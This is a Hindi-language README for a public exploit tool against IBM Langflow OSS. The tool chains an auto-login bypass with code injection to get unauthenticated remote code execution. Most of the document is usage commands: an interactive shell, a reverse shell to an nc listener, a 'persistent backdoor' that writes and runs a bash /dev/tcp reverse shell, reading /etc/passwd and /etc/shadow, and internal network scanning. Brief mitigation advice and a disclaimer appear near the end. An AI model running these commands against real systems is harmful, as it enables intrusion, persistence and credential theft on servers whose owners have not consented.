🚨 CVE-2026-9198

IBM Langflow OSS में ऑटो-लॉगिन बाईपास के माध्यम से अनधिकृत RCE

📋 अवलोकन

CVE-2026-9198 IBM Langflow OSS में एक गंभीर अनधिकृत रिमोट कोड निष्पादन (RCE) भेद्यता है। यह एक्सप्लॉइट दो भेद्यताओं को जोड़ता है:

• CVE-2026-9103: ऑटो-लॉगिन बाईपास जो अनधिकृत कॉलर्स को सुपरयूज़र JWT टोकन प्रदान करता है
• CVE-2026-8481: /api/v1/validate/code एंडपॉइंट में कोड इंजेक्शन जो मनमाना Python निष्पादन की अनुमति देता है

⚠️ चेतावनी: यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। अनधिकृत उपयोग अवैध है।

🚀 विशेषताएँ

• 🔓 ऑटो-लॉगिन बाईपास - स्वचालित रूप से सुपरयूज़र JWT टोकन प्राप्त करता है
• 💻 इंटरैक्टिव स्यूडो-शेल - उपयोगकर्ता नाम और वर्तमान निर्देशिका के साथ डायनामिक प्रॉम्प्ट
• 📝 एकल कमांड निष्पादन - मनमाने सिस्टम कमांड चलाएँ
• 🔄 रिवर्स शेल - वन-लाइनर रिवर्स शेल पेलोड वितरण
• 🎨 रंगीन आउटपुट - ANSI रंगों के साथ विज़ुअल फीडबैक
• ⚡ तेज़ और विश्वसनीय - मजबूत त्रुटि प्रबंधन के साथ निर्मित

📦 इंस्टॉलेशन

आवश्यक शर्तें

• Python 3.6 या उच्चतर
• pip पैकेज मैनेजर

चरण 1: रिपॉजिटरी क्लोन करें

git clone https://github.com/0xgh057r3c0n/CVE-2026-9198.git
cd CVE-2026-9198

चरण 2: निर्भरताएँ इंस्टॉल करें

pip install termcolor

या सभी निर्भरताएँ एक साथ इंस्टॉल करें:

pip install -r requirements.txt

चरण 3: इंस्टॉलेशन सत्यापित करें

python CVE-2026-9198.py --help

आपको सभी उपलब्ध विकल्पों के साथ हेल्प मेनू देखना चाहिए।

🎯 उपयोग

बेसिक कमांड निष्पादन

लक्ष्य पर एक एकल कमांड निष्पादित करें:

python CVE-2026-9198.py -t <target_ip> -c "id"

उदाहरण:

python CVE-2026-9198.py -t 192.168.1.100 -c "whoami"

इंटरैक्टिव स्यूडो-शेल

डायनामिक प्रॉम्प्ट के साथ एक इंटरैक्टिव शेल लॉन्च करें:

python CVE-2026-9198.py -t <target_ip> --shell

विशेषताएँ:

• डायनामिक प्रॉम्प्ट जो user@host और वर्तमान निर्देशिका दिखाता है
• स्वचालित प्रॉम्प्ट अपडेट के साथ cd कमांड समर्थन
• कमांड हिस्ट्री (टर्मिनल पर निर्भर)
• स्वच्छ आउटपुट फ़ॉर्मेटिंग

उदाहरण सत्र:

┌─[root@0xgh057r3c0n]─[~]
└──╼ $ whoami
root
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ cd /tmp
┌─[root@0xgh057r3c0n]─[/tmp]
└──╼ $ pwd
/tmp

रिवर्स शेल

लिसनर को रिवर्स शेल पेलोड भेजें:

python CVE-2026-9198.py -t <target_ip> --lhost <your_ip> --lport <port>

उदाहरण:

# On your machine - Start listener
nc -lvnp 4444

# Then run the exploit
python CVE-2026-9198.py -t 192.168.1.100 --lhost 192.168.1.50 --lport 4444

कस्टम पोर्ट

यदि Langflow गैर-डिफ़ॉल्ट पोर्ट पर चल रहा है:

python CVE-2026-9198.py -t <target_ip> -p <port> -c "whoami"

उदाहरण:

python CVE-2026-9198.py -t 192.168.1.100 -p 8080 -c "ls -la"

पहले से प्राप्त टोकन का उपयोग करना

ऑटो-लॉगिन प्रक्रिया को छोड़ें और मौजूदा टोकन का उपयोग करें:

python CVE-2026-9198.py -t <target_ip> -k <your_jwt_token> -c "id"

टाइमआउट कॉन्फ़िगरेशन

धीमे नेटवर्क के लिए HTTP टाइमआउट समायोजित करें:

python CVE-2026-9198.py -t <target_ip> --timeout 30 -c "whoami"

📝 कमांड लाइन तर्क

🔧 उदाहरण

1. बेसिक जानकारी एकत्र करना

python CVE-2026-9198.py -t 192.168.1.100 -c "uname -a"

2. फ़ाइल सिस्टम अन्वेषण

python CVE-2026-9198.py -t 192.168.1.100 --shell
# Then inside the shell:
ls -la
cat /etc/passwd

3. स्थायी बैकडोर

# Create a reverse shell that persists
python CVE-2026-9198.py -t 192.168.1.100 -c "echo 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1' > /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"

4. नेटवर्क स्कैनिंग (लक्ष्य से)

python CVE-2026-9198.py -t 192.168.1.100 -c "nmap -sP 192.168.1.0/24"

5. संवेदनशील फ़ाइलें एक्सफिल्ट्रेट करना

python CVE-2026-9198.py -t 192.168.1.100 -c "cat /etc/shadow | base64"

🛡️ शमन

इस भेद्यता से सुरक्षा के लिए:

1. प्रोडक्शन वातावरण में ऑटो-लॉगिन अक्षम करें
2. IBM द्वारा Langflow के लिए जारी पैच लागू करें
3. Langflow प्रशासनिक इंटरफेस तक नेटवर्क एक्सेस प्रतिबंधित करें
4. /api/v1/auto_login और /api/v1/validate/code पर असामान्य API अनुरोधों की निगरानी करें
5. संदिग्ध पेलोड पैटर्न को ब्लॉक करने के लिए WAF नियमों का उपयोग करें

⚠️ अस्वीकरण

यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं है। उपयोगकर्ता लागू कानूनों और विनियमों का पालन करने के लिए पूरी तरह ज़िम्मेदार हैं।

📄 लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।

👨‍💻 लेखक

0xgh057r3c0n

• GitHub: @0xgh057r3c0n
• सुरक्षा शोधकर्ता और पेंटेस्टर

📚 संदर्भ

• CVE-2026-9198 विवरण
• CVE-2026-9103 - ऑटो-लॉगिन बाईपास
• CVE-2026-8481 - कोड इंजेक्शन
• Langflow आधिकारिक साइट

🤝 योगदान

योगदान का स्वागत है! कृपया बेझिझक पुल रिक्वेस्ट सबमिट करें।

1. रिपॉजिटरी फोर्क करें
2. अपनी फीचर ब्रांच बनाएँ (git checkout -b feature/AmazingFeature)
3. अपने बदलाव कमिट करें (git commit -m 'Add some AmazingFeature')
4. ब्रांच पर पुश करें (git push origin feature/AmazingFeature)
5. पुल रिक्वेस्ट खोलें

⭐ स्टार हिस्ट्री

यदि आपको यह टूल उपयोगी लगता है, तो कृपया इसे GitHub पर ⭐ देने पर विचार करें!